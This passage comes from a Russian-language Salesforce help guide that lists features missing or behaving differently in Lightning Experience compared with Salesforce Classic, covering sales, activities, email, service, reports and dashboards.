• Критериифильтрацииподдерживаюттолькоследующиедиапазоныотносительныхдат: «Сегодня», «Завтра», «Вчера»,
«Текущая неделя», «Текущий месяц», «Текущий квартал», «Текущий год», «Прошлая неделя», «Прошлый месяц»,
«Прошлый квартал», «Прошлый год».

• Списковыепредставления в Lightning Experienceнеподдерживают условие начинаются с в качествефильтра для полей
ID. Поле ID (код) это 15-символьное поле, идентифицирующее запись. Например, поле Account ID в объекте
контакта определяет с какой учетной записью связан контакт. Выможете применять условие начинается с в качестве
критерия фильтра для других полей.

• Lightning Experience использует другое имя списка недавних записей, отображаемое на начальной странице каждого
стандартного или настраиваемого объекта. Данный список называется «Недавно просмотренные». Данное
представление недоступно для удаления, фильтрации или редактирования. Администраторы Salesforce могут
использоватьраздел «Менеджеробъектов» меню «Настройка» длявыборастолбцовданногопредставленияиизменения
порядка их отображения. Пользователи могут сортировать элементы представления путемщелчка внутри заголовка
столбца. Порядок сортировки элементов списка (по возрастаниюили убыванию) определяется стрелкой в заголовке
столбца.

• Раскрывающийсясписокбольшинствастандартныхобъектовсодержитдругоесписковоепредставление, использующее
похожее имя. Кроме того, имя данного представления содержит имя объекта. Например, данное списковое
представление для организаций называется «Недавно просмотренные организации». Оба представления («Недавно
просмотренные» и «Недавно просмотренные объекты») отображают одинаковые записи. Списковое представление
«Недавно просмотренные объекты» недоступно для удаления, фильтрации или редактирования. Пользователи могут
сортировать записи и составлять диаграммы по данным спискового представления. Кроме того, они могут
переключаться на Salesforce Classic для изменения порядка отображения столбцов в списковом представлении. При
переключении на Lightning Experience порядок отображения столбцов изменяется.

Работа с данными
Создание и редактирование данных

В Lightning Experience на вкладке записи «Сведения» доступно встроенное редактирование полей. Но невозможно
редактировать отдельные поля в панели записи «Основные показатели» или поля в списковых представлениях.

Lightning Experience не поддерживает функции ниже.

• Встроенное редактирование для списков или записей

• Редактирование многострочных макетов
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Печать данных
Lightning Experience не поддерживает функции, приведенные ниже.

• Печать страницы

• Создание PDF-файла

Боковая панель Salesforce

Lightning Experience не поддерживает боковую панель Salesforce, отображаемую в левой части большинства страниц
Salesforce Classic. Кроме того, новый интерфейс не поддерживает элементы боковой панели, включая:

• Ссылка «Теги» и раскрывающийся список «Недавние теги»

• Раскрывающийся список «Создать...»; использование кнопки «Создать» на начальных страницах объектов

• Значок календаря; доступ к календарю посредством меню навигации

• Список «Недавние элементы»; просмотр недавних элементов на вкладке «Начальная страница» или на начальных
страницах объектов

• Сообщения и предупреждения

• Настраиваемые ссылки

Корзина
Корзина не поддерживается. Записи, удаленные в Lightning Experience, перемещаются в корзину, но могут быть
просмотрены или восстановлены только после переключения на интерфейс Salesforce Classic.

Доступность
• Lightning Experience не поддерживает режим доступности ввиду отсутствия такой необходимости. Оформление

интерфейсасоответствуетновейшимстандартамдоступности, поэтомупрограммыдлячтенияэкранаподдерживаются
по умолчанию.

• Lightning Experience не поддерживает палитру цветов для пользователей, страдающих дальтонизмом.

• Пользователи с включенным режимом доступности могут создавать и редактировать отчеты в конструкторе только
после переключения на Salesforce Classic.

Пользователис включеннымрежимомдоступностимогутиспользоватьредакторпанелеймониторингадля создания
и изменения панелей Lightning Experience, но должны переключаться в Salesforce Classic для полноценной работы с
редактором панелей мониторинга.

СМ. ТАКЖЕ:

Функции производительности: Чего нет в Lightning Experience

Файлы и содержимое: Чего нет в Lightning Experience

Функции продаж: Чего нет в Lightning Experience
Данныйразделописываетпроблемы, которыемогут возникатьприработе группысбыта в Lightning Experience. Некоторые
данные и функции Salesforce не поддерживаются новым пользовательским интерфейсом. Кроме того, возможности
некоторых функций отличаются от возможностей, доступных в Salesforce Classic.
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Функции продаж
Социальные организации, контакты и интересы

• Lightning Experience поддерживает только социальную сеть Twitter.

• Карта Twitter, оформленная как оригинальная, отображается прямо на начальной странице записи.

Путь продаж для возможностей и интересов

• Пользователимогут добавлять не более пяти полей и 1 000 символов обогащенного текста в каждый этап продаж.

• Нельзя требоватьналичияразныхполейвразличныхэтапахприиспользованиимакета страницы. Однако, можно
настроить правила проверки на основе этапа пути продаж.

• Зависимые поля игнорируются при перемещении этапа возможности и использовании пути продаж.

• Атрибуты «Только для чтения» и «Обязательно», назначаемые полям в макетах страниц, не применяются путем
продаж.

• Помните, что удаление типа записи, имеющего соответствующийпуть продаж, также инициирует удаление пути
продаж.

• Правила проверки, которые должны отображаться напротив полей, отображаются как сообщения на уровне
страницы.

• Приналичиипутейпродаждляинтересоврекомендуемразместить статусынесоответствиявначалепутейпродаж.

Функции, недоступные в Lightning Experience

• Контракты

• Прогнозы (включая функции «Совместные прогнозы» и «Настраиваемые прогнозы»)

• Заказы

• Сметы

• Подразделения

• Пакетный перенос подразделения

Организации
Организации-лица (бета-версия)

• Организации-лица недоступны посредством меню «Настройка». Переключитесь в Salesforce Classic, чтобы
подготовить и настроить организации-лица.

• Организации-лица входят во все результатыпоиска контактов и организаций, даже еслине подходят под условия.
Например, полепоискаорганизациив записиконтакта, включаеторганизации-лица, даже еслиорганизации-лица
не могут быть организацией контакта.

• При подведении указателя мыши к ссылке на организацию-лицо, окно предварительный просмотра показывает
разные результаты в зависимости от того где находится ссылка на организацию. Если ссылка находится в поле,
представляющее контакт (например, Имя или Контакт), то отображаются контактные сведения. Если ссылка
находится в поле, представляющее организацию (например, Связано с или Организация), то отображаются
сведения об организации.

• Быстрые действия для организаций-компаний входят в макеты страниц организаций-лий, хоть и не все такие
действияподходятдляорганизаций-лиц. Например, записиорганизаций-лицвключаютбыстроедействие «Новый
контакт», несмотря на то, что контакты не могут быть связаны с организациями-лицами таким образом.

• Когда организации-лица включаются в списковые представления контактов, действия уровня строк, обычно
связанные с организациями-компаниями отображаются и для организаций-лиц. В зависимости от того, как
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настроеныпараметрывидимостииобщегодоступавашейорганизации, пользователимогутнаблюдатьразличные
действия для организаций-лиц и контактов в своих списковых представлениях контактов.

• В некоторых полях поиска отображаются значки контактов или организаций вместо значка организации-лица.

• Сообщества, созданные на основе шаблона Community Builder, не всегда правильно связывают пользователей с
записями организации-лица. Конкретный случай, когда пользовательщелкает организацию-лицо в поле поиска
контакта, он перенаправляется на запись контакта вместо записи организации-лица.

• Вполепоискаконтактавспискенедавнихзаписейнепоявляютсяорганизации-лица. Организации-лицапоявляются
в полях при ведении поиска. Однако, организации-лица не возвращаются в результатах поиска контактов, если в
качестве критерия поиска введена только часть имени.

• Присозданииновогообращениядляорганизации-лица, пользователидолжныдобавить записьорганизации-лица
либо в поле Имя контакта либо в Имя организации. Другое поле автоматически заполняется даннымииз записи
организации-лица, но только после сохранения записи.

• При создании сообщения эл. почты из записи организации-лица, поле Кому не заполняется автоматически
адресом организации-лица таким же образом как и при создании сообщения из записи контакта.

• При использованиишаблона для составления письма от организации-компании, шаблон может включать поля
слиянияорганизации-лица, чтопредотвратитотправкуписьма. Также, прииспользованиишаблонадлясоставления
письма от организации-лиаа, шаблон может включать поля слияния организации-компании, что предотвратит
отправку письма.

• Припримененииполейслияниявписьмекорганизации-лицу, поляслиянияконтактанепоказываютсяврезультатах
поиска поля слияния. Вместо этого, поля слияния контакта должны вводиться вручную.

Связанный список «Контакты» для организаций

• При создании контакта посредством связанного списка организации «Контакты» почтовый адрес контакта не
заполняется адресом для счета организации.

• При использовании версии Group Edition связанный список «Контакты» не отображается организациями.

Функции, недоступные в Lightning Experience

• Иерархия организаций

• Журнал организации

• Объединение организаций

• Партнеры организации

• Группы, работающие с организациями

• Территории организации

• Роли контакта для организаций

Кампании
Функции, недоступные в Lightning Experience

• Результаты кампании по всем иерархиям

• Влияние кампании

• Клонирование участников кампании

• Добавление нескольких участников кампании из списковых представлений
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Контакты
Связанный список «Возможности» для контактов

• Когдана записиконтактаприменяетсясвязанныйсписок «Возможность» длядобавленияновойилисуществующей
возможности к контакту, Salesforce добавляет контакт к связанному списку «Роли контактов» возможности.

Функции, недоступные в Lightning Experience

• Иерархия контактов

• Объединение контактов

• Роли контакта для организаций

• Роли контакта для обращений

• Поля обновления контактов

Интересы
При смене владельца интереса на очередь, отображаются все активные очереди, не только очереди для интересов.

Функции, недоступные в Lightning Experience

• Правила назначения при создании интересов вручную

• Определение и объединение повторяющихся записей из рабочего пространства интереса (пользователи могут
настраивать функцию управления повторами, препятствующую созданию повторяющихся интересов)

• Автоматическое заполнение поле для организаций, созданных во время преобразования интересов

Возможности
Группы, работающие с возможностями

В Lightning Experience есть возможность просматривать, обновлять и удалять группы, работающие с возможностями,
со следующими отличиями от Salesforce Classic.

• Пользователи могут добавлять, редактировать и удалять за раз только одного участника группы по работе с
возможностями;

Переключитесь обратно в Salesforce Classic, чтобы:

• обращаться к страницам настройки для групп по работе с возможностями;

• изменять порядок отображения участников группы;

• работать со стандартными группами по возможностям;

• массово назначать или отзывать участников групп по работе с возможностями;

• отображать уровни доступа для всех участников групп или удалять участников нажатием одной кнопки;

• добавлять несколько участников группы по работе с возможностями на одной странице.

Продукты возможности

• В Lightning Experience пользователи могут добавлять только один продукт к возможностям или прайс-листам за
раз. Еще нет возможности выделять несколько продуктов в списке.

• При добавлении продукта со стандартным расписанием к возможности в Lightning Experience (или Salesforce1),
Salesforce не создает расписание.

• Возможности с продуктами нельзя клонировать.
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Доска Kanban для возможностей

• Доска Kanban недоступнаиз списковогопредставления «Недавнопросмотренные». Переключениенадоску Kanban
возможно только после выбора другого спискового представления.

• Одновременно доска Kanban отображает возможности только для одного пути продаж. При использовании
нескольких путей продаж рекомендуем создать отдельное списковое представление для каждого пути продаж и
выполнитьегофильтрациюпотипузаписи. Чтобыпредоставитьпользователямвозможностьдоступа, рекомендуем
назначить новым списковым представлениям статус общедоступных.

• Доска Kanban не позволяет пользователям указывать причину назначения этапа возможности «Закрыто и не
реализовано». Принеобходимостипользователимогутназначатьвозможностямэтап «Закрытоинереализовано»
посредством доски Kanban, но указывать причину после переключения на Salesforce Classic.

• Предупреждения отправляются пользователям при наличии возможностей с просроченными задачами, без
открытых действий или без действий за последние 30 дней. Уведомление не может быть настроено.

• Правила проверки по-прежнему применяются при смене этапа возможности из представления Kanban, но
пользователи должны перейти в рабочее пространство возможности для просмотра правил проверки.

• Полязависимыхраскрывающихсясписковигнорируютсяприиспользованиипредставления Kanban. Пользователи
должны перейти в рабочее пространство возможности для просмотра зависимых полей.

Роли контактов в объектах возможностей
Пользователи за раз могут добавлять только одну роль контакта к возможности.

Функции, недоступные в Lightning Experience

• Предупреждения о крупной сделке

• Доли возможности

• Похожие возможности

• Редактирование многострочных макетов

Владелец возможностинеможетизменятьполя «Вероятность» или «Категория прогноза». Однакопри сохранении
записиполя автоматическизаполняютсянаоснове значенияполя Возможности этапа. Владелецвозможностиможет
вручную изменить значения этих полей в Salesforce Classic.

Продукты и прайс-листы
Продукты и прайс-листы

• Lightning Experience объединяет записи стандартного и настраиваемого прайс-листа в один связанный список
«Прайс-лист». Это отличается от поведения Salesforce Classic, в котором есть отдельные связанные списки для
стандартного и настраиваемого прайс-листа.

Если вы ранее удалили связанный список «Прайс-листы», т.к. ваша организация применяет только стандартные
цены, вам следует добавить его обратно на макет страницыПродукт, чтобы ваши пользователи могли видеть
стандартные цены в Lightning Experience.

• По умолчанию страница «Добавить в прайс-лист» активированной организации не содержит параметр
«Использовать стандартную цену». Чтобы разрешить доступность параметра «Использовать стандартную
цену», добавьте его в макеты страниц записей прайс-листа.

• По умолчанию начальная страница «Прайс-листы» активированной организации не содержит списковое
представление «Все прайс-листы». Рекомендуетсясоздатьэтосписковоепредставление, чтобыдатьпользователям
доступ к записям прайс-листа.
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Функции, недоступные в Lightning Experience

• Архивирование продуктов и прайс-листов

Прим.: Вкачестве альтернативырекомендуемдеактивироватьпродуктыипрайс-листыдля сохранения всех
связанных записей.

• Расписания объемов продукции и доходов по продукту

Функции управления территориями и управления территориями предприятия
Управление территориями

Исходная функция управления территориями отображается в меню «Настройка» интерфейса Lightning Experience.
Здесь пользователи могут включать, настраивать и администрировать даннуюфункцию. Сведения о территориях,
назначения и отчеты поддерживаются только интерфейсом Salesforce Classic.

Управление территориями предприятия
Функция управления территориями предприятия поддерживается только интерфейсом Salesforce Classic.

Функции производительности: Чего нет в Lightning Experience
Данный раздел описывает проблемы, которые могут возникать при использовании инструментов производительности
Salesforce в Lightning Experience. Некоторыефункции Salesforceнеподдерживаютсяновымпользовательскиминтерфейсом.
Кроме того, возможности некоторых функций отличаются от возможностей, доступных в Salesforce Classic.

Начальная страница
Lightning Experience поддерживает измененную начальную страницу Salesforce. Теперь начальная страница отображает
основные приоритеты пользователя продаж, включая ежеквартальную производительность продаж торговых
представителей и уведомления об интересах и возможностях.

Функции начальной страницы, недоступные в Lightning Experience

• Баннеры-предупреждения

• Лента и публикатор Chatter

• Рекомендации

• Настраиваемые компоненты (например, снимки панели мониторинга)

• Полный календарь

Начальная страница отображает предстоящие события на сегодняшний день и предоставляет ссылку для просмотра
всех событий, запланированных на день. Но начальная страница не содержит полный календарь, как на начальной
странице Salesforce Classic. Вместо этого элемент календаря доступен через меню навигации.

Неподдерживаемые настройки
Lightning Experience не поддерживает:

• Добавление любых стандартных и настраиваемых компонент, включая компоненты Lightning или Visualforce

• Удаление текущих компонентов страницы

• Создание настраиваемых кнопок или ссылок

• Изменение макета страницы

Возможность настройки начальной страницы может быть добавлена в будущем выпуске, мы работаем над этим.
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Меню глобальные действия
СодержимоеменюГлобальныедействияв Lightning Experienceберетсяиз глобальныхдействийразделаДействияSalesforce1
и Lightning Experience в глобальноммакете публикатора. В данныймомент в этомменюподдерживаются только действия
такого типа.

• Зарегистрировать вызов

• Создание записи для событий, примечаний и задач

Другие глобальные действия в глобальном макете публикаторе, включая те, что создают записи для настраиваемых
объектов, организаций или возможностей, не отображаются в этом меню.

Различия между интерфейсами Lightning Experience и Salesforce Classic

Временнаяшкала действий и связанные списки действий
Lightning Experienceнеотображает связанныесписки «Открытыедействия» и «Журналдействий» настраницахсведений
для объектов, поддерживающих действия. Взамен, данный интерфейс отображает временнуюшкалу действий.
Объектами, поддерживающими действия, считаются возможности, интересы, организации, контакты и любые
настраиваемые объекты, которым разрешается поддержка действий.

При удалении любого связанного списка действий из макетов страниц система Salesforce не отображает
соответствующие разделы временнойшкалы («Следующие этапы» или «Прошлые действия») на данных страницах.

В отличие от связанного списка «Открытые действия», временная шкала действий отображает открытые действия в
противоположном порядке, позволяющем просматривать все действия от будущих до прошедших. Под разделом
«Дальнейшиедействия» на временнойшкалеотображаютсядействия в хронологическомпорядке сверху вниз. Задачи
без временной метки отображаются наверху, просроченные задачи внизу.

Конфигурация вкладок в компоновщике действий
Настройки некоторых организаций Salesforce мешают работе компоновщика действий над возможностями и других
объектов по отображению вкладок действий. Рекомендации по изменению этих настроек см. в разделе Настройка
вкладок «Вызов», «Задача» и «Событие» в компоновщикедействий Lightning ExperienceиНастройка вкладки «Эл. почта»
в компоновщике действий Lightning Experience.

Настройка способа и порядка отображения полей на временнойшкале действий
Временнаяшкаладействийпозволяетпользователямнастраиватьспособипорядокотображенияполейдлясобытий,
задач и зарегистрированных вызовов посредством компактных макетов событий и задач. Однако, даже если удалить
определенные поля из макета, они останутся на временнойшкале, т.к. содержат важную для действий информацию.
Например, предположим, что вы убрали поля крайнего срока, даты и времени и состояние задачи из макетов. Дата и
время начала события, флажок задачи, крайний срок задачи и дата регистрации вызова все равно будут отображаться
вдействияхнавременнойшкале. Компактныймакетнеподдерживаетполеописаниядлясобытийиполекомментариев
для задач, которые, тем не менее, всегда отображаются на временнойшкале, хоть они и не доступны в компактном
макете. Остальныеполя, отображаемыена временнойшкале, соответствуютполям, добавленнымв компактныймакет.

Настройка способа и порядка отображения полей в списке задач
Список задач позволяет пользователям настраивать способ и порядок отображения полей для отдельных задач
посредством компактных макетов задач. Однако, даже если удалить определенные поля из макета, они останутся в
списке задач, т.к. содержат важную для задачи информацию. Например, предположим, что из компактного макета
былиудаленыполя крайнего срокаи состояния. Флажок задачиикрайнийсрок все ещеотображается в задачах списка.
Остальные поля, отображаемые в списке, соответствуют полям, добавленным в компактный макет.

Невозможность настройки значков временнойшкалы действий
Пользователи не могут настраивать значки для типов действий (события, задачи, вызовы и сообщения эл. почты) на
временнойшкале.
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Просроченные задачи
Lightning Experienceнеподдерживаетотображениепросроченныхзадачприналичииболее 1 000 задач, просроченных
пользователем. Чтобы просмотреть, закрыть, отложить просроченные задачи или удалить их крайние сроки,
пользователь может переключиться на Salesforce Classic.

Уведомления о назначении задачи
Lightning Experienceнепоказывает вариантотправкиписьма, еслипользовательназначает задачу. Такженеотображается
личныйпараметрнаполучениеписьмаприназначениизадачи. Однакопредположим, чтопользовательпереключился
с Lightning Experience на Salesforce Classic. В таком случае пользователи могут получать письма для задач, которые они
сами себе назначили, или задач, созданных со статусом «Завершено». Эти возможности зависят от настроек вашей
организации Salesforce.

Дополнительные действия
Lightning Experienceнеподдерживаетотображениекнопок «Дополнительноесобытие»и «Дополнительнаязадача»
для создания события или задачи для записи. Взамен, компоновщик для записи возможности, интереса, организации
или контакта автоматически заполняет поля «Имя» и «Связано с» событий и задач.

Представления календаря
Календарь отображает только представление дня или недели. Представление месяца и списковое представление
действий не поддерживаются. Выходные не могут быть скрыты.

Представления недели и дня календаря отображают до 150 элементов, включая события Salesforce и даты закрытия
возможностей.

Функции, недоступные в Lightning Experience

• Приглашения на события не поддерживаются. Пользователи не могут отправлять или обновлять приглашения
насобытия, приниматьилиотклонятьприглашенияипросматриватьсвязанныйсписокприглашенныхнасобытие.

• Пользователи не могут создавать повторяющиеся события или задачи и не могут редактировать повторяющиеся
событияилизадачи, созданныев Salesforce Classic. Темнеменее, онимогутпросматриватьиредактироватьотдельные
экземпляры повторяющихся событий, созданных в Salesforce Classic.

• Пользователи не могут создавать встречи Microsoft® Outlook® из событий Salesforce.

• Пользователи не могут назначать копии задачи (задачи группы) коллегам.

• Пользователи не могут проверять орфографию поля событий «Описание» и поля задач «Комментарии».

• Пользователи не могут задавать или просматривать напоминания о действиях (напоминания о предстоящих
событиях или крайнем сроке задач).

• Пользователи не могут создавать общедоступные календари или календари ресурсов. Пользователи не могут
просматривать общедоступные календари или календари ресурсов, созданные в Salesforce Classic.

• Lightning Experience не поддерживает списковое представление «Действия моей рабочей группы», поэтому
пользователи не могут редактировать задачи, принадлежащие нижестоящим пользователям в иерархии ролей.
Пользователи могут просматривать события и задачи, принадлежащие нижестоящим пользователям в иерархии
ролей, посредством отчетов. Кроме того, они могут просматривать задачи, переназначенные нижестоящим
пользователям в иерархии ролей, путем выбора представления «Делегированные» в списке задач.

• Пользователи не могут предоставлять общий доступ к календарям, а Lightning Experience не поддерживает
отображение многопользовательских календарей.

• Lightning Experience не поддерживает отображение списка задач рядом с календарем.

• Lightning Experienceнеподдерживаетотображениемини-календарянастраницесведенийособытиидляорганизации
или возможности.

• Lightning Experience не поддерживает запросы на проведение встречи Cloud Scheduler.

• Lightning Experience не поддерживает печатную версию календаря.
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Примечания
Примечания, созданные посредством устаревшего инструмента создания примечаний в интерфейсе Salesforce Classic,
отображаютсятолькосвязаннымсписком «Примечанияивложения». Примечания, созданныепосредствомрасширенной
версии инструмента создания примечаний, отображаются только связанным списком «Примечания».

Интегрированная эл. почта
Поддерживаемые объекты

Интегрированная эл. почта полностью поддерживаются только для объектов Account, Campaign, Case, Contact, Leads
и Opportunity, но не для настраиваемых объектов. Тип записи организации-лица поддерживается частично: поля
слияния контакта не поддерживаются. Из записей для этих объектовможноотправлять письма контактам, интересам
и пользователям в Salesforce, а также на любой допустимый внешний адрес эл. почты.

Поля, доступные для шаблонов, определяются объектом, выбранным для создания шаблона, и пользовательскими
полями. Например, при созданиишаблона из открытой записи возможности шаблон может быть дополнен только
полямиобъекта «Возможность» иполямиобъекта «Пользователь». Шаблоныэл. почты, созданныедляодногообъекта,
недоступныдляиспользованияиздругихобъектов. Например, шаблоны, созданныедляобъекта «Интерес», недоступны
для сообщений эл. почты, отправляемых из записей возможностей.

Пакетная электронная рассылка
Пакетная электронная рассылка не поддерживается.

Пакетное создание стандартных писем
Пакетное создание стандартных писем не поддерживается. Тем не менее, пользователи могут использовать поля
слияния в отдельных сообщениях эл. почты и добавлять поля слияния в шаблоны.

Поля гиперссылки в стандартных письмах
Поля формулы гиперссылки не поддерживаются в качестве полей слияния.

Действия эл. почты
После отправки сообщения создается запись задачи для отслеживания действия и хранения содержимого письма.
Приотправке сообщения эл. почты контакту илиинтересу ссылка на задачу добавляется в ленту «Недавние действия»
данной записи. Если получатель не является контактом или интересом, ссылка на сообщение эл. почты добавляется
в ленту «Недавние действия» записи, открытой на момент отправки сообщения. Запись задачи не содержит ссылку
для доступа к вложениям, отправленным в сообщении эл. почты.

Шаблоны эл. почты
Шаблоны сообщений эл. почты, созданные в Salesforce Classic, не могут использоваться в Lightning Experience (и
наоборот).

Шаблоны эл. почты в Lightning Experience используют настраиваемый HTML. Другие типы (текст, HTML с фирменным
бланком и Visualforce) не поддерживаются.

Все шаблоны, созданные в Lightning Experience, являются общедоступными. После отправки сообщения эл. почты
любое вложение становится общедоступным. Пользователям больше не требуется предоставлять общий доступ к
создаваемымшаблонам.

Вложения эл. почты
Пользователимогут вкладывать в сообщенияэл. почтыилишаблонытолькодоступныефайлы. Привыборешаблона,
содержащего вложенные файлы, убедитесь в наличии доступа к даннымфайлам. После отправки сообщения эл.
почты вложенныйфайл становится общедоступным посредством гиперссылки.
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Work.com
Lightning Experience не поддерживает инструменты для управления продажами и услугами Work.com. Тем не менее,
пользователи Lightning Experience могут просматривать эмблемы-благодарности и подтверждения навыков, полученные
в ленте.

Функции обслуживания клиентов: Функции, недоступные в Lightning Experience
Данный раздел описывает проблемы, которые могут возникать при использовании инструментов для обслуживания
клиентов. Вцеломтекущийвыпуск Lightning Experienceнеподдерживаетданныеифункции Service Cloud. Активыирабочие
задачи поддерживаются полностью. Обращения поддерживаются, но возможности поддержки отличаются от
возможностей, доступных в Salesforce Classic.

Обращения
При изменении ответственного за обращение на очередь отобразятся не только очереди обращений, но и все активные
очереди.

Макет обращения
Внешний вид обращений отличается от других записей. Страницы обращений сначала отображают ленту (а не
сведения о записи или связанную информацию), так как агенты службы поддержки чаще используют ленту для
обработкидействий. Сведенияотображаютсянапротивленты. Вкладкидействийисотрудничестванеотображаются,
так как данная информация содержится прямо в ленте.

При выключении ленты обращений внешний вид обращений соответствует другим записям. Вкладки действий и
сотрудничества отображаются, но отменяется оформление, при котором лента отображается первой, а также
добавляютсяизлишниепереходыипереключенияконтекста. Вкладкасотрудничества (Chatter) можетиспользоваться
вместо ленты, но не содержит полезные публикаторы ленты обращений (например, эл. почта, регистрация вызова
или изменение статуса).

Публикаторы ленты обращений можно добавлять и удалять, однако изменение порядка макета обращения или
добавление настраиваемых кнопок и ссылок не поддерживается.а

Макет «Закрыть обращение»
Для удобства работы макет «Закрыть обращение» недоступен, но пользователи могут добавлять статусы «Закрыто»
на страницыредактированияобращений. На странице «Параметрыподдержки» вменю «Настройка» выберитепункт
«Показывать статусы "Закрыто" в поле статуса обращения».

Комментарии к обращению
Теперь комментарии добавляются в ленту вместо связанного списка «Комментарии к обращению». Комментарии не
могут добавляться в связанный список при использовании Lightning Experience. Отображаемые здесь комментарии
публикуются пользователями Salesforce Classic.

Связанные списки обращений
Данные связанные списки недоступны для обращений: «Журнал обращения», «Контрольные точки обращения»,
«Группа, работающая с обращениями», «Роли контакта», «Внешний общий доступ», «Доставки содержимого»,
«Транскрипты Live Chat», «Связанное содержимое» и «Сеансы SOS».

Настройка обращений
Чтобы оценить все преимущества нового оформления обращений, при котором лента отображается первой,
рекомендуем воссоздать стандартные публикаторы ленты обращений. Стандартные публикаторы недоступны, но
могутбытьбыстровоссозданыкакбыстрыедействиядляобъекта «Обращение». Вотличиеотстандартныхпубликаторов
лентыобращений, публикаторы, воссозданныекакбыстрыедействия, могутотображатьсянамобильныхустройствах.
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Правила назначения обращений
Правила назначения обращений не поддерживаются; однако пользователи могут создавать аналогичные правила с
помощьюконструктора процессов Lightning. Если вмакетах страницыобращений установлен флажок «Назначение
обращений», для обращений отобразится «Назначить с помощью активных правил назначения». Нопри выборе
параметра правила назначения инициироваться не будут.

Функции, недоступные в Lightning Experience

• Salesforce Call Center

• Статьи базы знаний

• Мультиканал

• Права

• Контрольные точки

• Макросы

Неподдерживаемые функции Service Cloud

Lightning Experience не поддерживает функции Service Cloud (кроме активов, основных обращений и рабочих заказов), в
том числе консоль Salesforce.

Текущие клиенты, использующиефункцию Salesforce to Salesforce, могут просматривать записи, публикуемые
подключениями, в новом пользовательском интерфейсе, при условии, что Lightning Experience поддерживает
соответствующий тип объекта.

Отчеты и панели мониторинга: Чего нет в Lightning Experience
Данный раздел описывает проблемы, которые могут возникать при использовании отчетов и панелей мониторинга в
Lightning Experience. Некоторыеданныеифункции Salesforceнеподдерживаютсяновымпользовательскиминтерфейсом.
Кроме того, возможности некоторых функций отличаются от возможностей, доступных в Salesforce Classic.

Отчеты
Функции, доступные с ограничениями в Lightning Experience

Примечания о доступности в Lightning ExperienceФункция

Хоть Lightning Experience пока и не поддерживает все
стандартные объекты Salesforce, конструктор отчетов в

Поддержка объектов для отчетности

Lightning Experience работает со всеми объектами.
Пользователи могут создавать и просматривать отчеты
для всех стандартных объектов. Отчеты, связанные с
объектами, ещенеподдерживаемыев Lightning Experience,
открываются прямо в новом интерфейсе и работают
точно так же как и любые другие отчеты.

Lightning Experience поддерживает составление отчетов
по архивным трендам посредством диаграмм, но не

Составление отчетов по архивным трендам

поддерживает табличные представления отчетов по
архивным трендам.
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Примечания о доступности в Lightning ExperienceФункция

Данные фильтры доступны при создании или
редактировании отчета, но не отображаются на панели

Фильтры

фильтровприпросмотреотчета. Темнеменее, фильтры
применяются к отчету даже при условии их отсутствия
на панели фильтров.

• Фильтры ограничения строк

• Кросс-фильтры

• Фильтры архивного поля

• Стандартные фильтры (за исключениемфильтров
областей и дат)

Функции, недоступные в Lightning Experience

Примечания о доступности в Lightning ExperienceФункция

Составные отчеты

Пользователинемогутпланироватьобновленияотчетов
в Lightning Experience, но запланированные в Salesforce

Планирование обновления отчетов

Classic обновления продолжают работать в Lightning
Experience.

Lightning Experience не предлагает функции печати, но
пользователи по-прежнему могут печатать отчеты,
используя функцию печати своего браузера.

Печать отчетов

Экспорт отчетов

Подписка на отчеты

Лента Chatter для отчетов

Добавить в кампанию

Пользователисвключеннымрежимомдоступностимогут
создавать и редактировать отчеты только после
переключения на Salesforce Classic.

Режим доступности для конструктора отчетов

Панели мониторинга
Рекомендации по использованиюпанелей мониторинга в Lightning Experience

• Панельмониторинга, сохраненная в Lightning Experience, неможетбытьотредактированав Salesforce Classic. Вместо
редактирования панели мониторинга Salesforce Classic в Lightning Experience, рекомендуем клонировать ее и
редактироватьужеклон. Данныйалгоритмсохраняетвозможностьредактированияисходнойпанелимониторинга
в Salesforce Classic.
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• При деталировке отчета из отфильтрованной панели мониторинга в Lightning Experience, отчет не фильтруется.
При деталировке отчета из отфильтрованной панели мониторинга в Salesforce Classic, отчет фильтруется также
как и в панели.

Функции, недоступные в Lightning Experience

Примечания о доступности в Lightning ExperienceФункция

Пользователи Lightning Experience могут просматривать
отфильтрованные панели мониторинга.

Создание, редактированиеиудалениеотфильтрованных
панелей мониторинга

Отфильтрованные панели мониторинга всегда
открываются без активныхфильтров. Есть возможность
применить или очистить фильтры, которые были
добавлены в Salesforce Classic.

Переключитесь на Salesforce Classic, чтобы создавать,
редактировать и удалять отфильтрованные панели
мониторинга, илидобавлять, изменятьиудалятьфильтры
панелей.

Пользователимогутпросматриватьдинамическиепанели
мониторинга, но для их создания, редактирования и
удаления нужно переключаться на Salesforce Classic.

Создание, редактирование и удаление динамических
панелей мониторинга

Пользователинемогутпланироватьобновленияпанелей
мониторинга в Lightning Experience, но запланированные

Планирование обновления панелей мониторинга

в Salesforce Classic обновления продолжают работать в
Lightning Experience.

Лента Chatter для панелей мониторинга

Публикация компонента панели мониторинга в Chatter

Компоненты Visualforce для панелей мониторинга

Пользователисвключеннымрежимомдоступностимогут
создаватьиредактироватьпанелимониторинга Lightning

Режимдоступностидляредакторапанелеймониторинга

Experience, ноиспользоватьполнодоступныйинтерфейс
только после переключения на Salesforce Classic.

Папки
Функции, недоступные в Lightning Experience

Примечания о доступности в Lightning ExperienceФункция

Стандартные папки, содержащие отчеты по умолчанию
и панели мониторинга из набора поставки Salesforce

Перемещение отчетов и панелей мониторинга между
папками
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Примечания о доступности в Lightning ExperienceФункция

Lightning Experience поддерживает работу с папками,
созданными в Salesforce Classic, и их содержимым.

Создание и удаление папок с отчетам и панелями
мониторинга

Пользователимогут сохранятьданныевнутриэтихпапок
при создании или клонировании отчета или же панели
мониторинга.

Полномочия общего доступа, заданные для папок в
Salesforce Classic, исполняются в Lightning Experience, но

Предоставление общего доступа к папкам отчетов и
панелей мониторинга

вотсамаполномочияобщегодоступазадатьилиизменить
нельзя.

Lightning Experienceнепозволяетпользователямвыполнять
поискпапокотчетовипанелеймониторинга. Результаты

Поиск папок отчетов и панелей мониторинга

глобального поиска содержат отчеты и панели
мониторинга, но не их папки.

Диаграммы
Рекомендации по использованию диаграмм Lightning Experience

Примечания о доступности в Lightning ExperienceФункция

ТабличныедиаграммыотображаютсявLightning Experience
правильно, но пользователи должны переключаться в
Salesforce Classic для созданияновых табличныхдиаграмм.

Табличные диаграммы

Мультипоказательные диаграммы из Salesforce Classic
отображаютв Lightning Experience толькоодинпоказатель.

Мультипоказательные диаграммы

Например, линейные горизонтальные диаграммы (тип
мультипоказательной диаграммы) отображаются как
горизонтальные диаграммы.

Конические диаграммы из Salesforce Classic правильно
отображаются в отчетах. Но в панелях мониторинга они
отображаются как горизонтальные диаграммы.

Конические диаграммы

Контрольные точки в шкалах принимают только целые
числа. Например, 5 это допустимая контрольная точка,
